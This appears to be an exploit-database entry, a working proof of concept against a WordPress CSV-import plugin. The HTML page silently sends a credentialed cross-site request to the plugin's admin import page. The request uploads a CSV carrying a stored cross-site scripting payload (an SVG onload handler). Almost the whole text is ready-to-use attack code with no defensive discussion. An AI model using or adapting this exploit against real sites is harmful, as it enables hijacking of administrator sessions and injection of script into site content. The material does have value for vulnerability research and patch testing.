Share
## https://sploitus.com/exploit?id=WPEX-ID:ADC1D752-331E-44AF-B5DC-B463D56C2CB4
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/example.com\/wp-admin\/tools.php?page=import_csv_files", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------64690472712570779792526672144");
xhr.withCredentials = true;
var body = "-----------------------------64690472712570779792526672144\r\n" +
"Content-Disposition: form-data; name=\"_csv_import_files_next\"\r\n" +
"\r\n" +
"next\r\n" +
"-----------------------------64690472712570779792526672144\r\n" +
"Content-Disposition: form-data; name=\"csv_import\"; filename=\"a.csv\"\r\n" +
"Content-Type: text/csv\r\n" +
"\r\n" +
"My first post,May 21 2022,\x3csvg/onload=alert(/XSS/)\x3e\x3csvg\x3e\n" +
"\r\n" +
"-----------------------------64690472712570779792526672144\r\n" +
"Content-Disposition: form-data; name=\"post_format\"\r\n" +
"\r\n" +
"post\r\n" +
"-----------------------------64690472712570779792526672144\r\n" +
"Content-Disposition: form-data; name=\"field-delimiter\"\r\n" +
"\r\n" +
",\r\n" +
"-----------------------------64690472712570779792526672144\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Next \x3e\r\n" +
"-----------------------------64690472712570779792526672144--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>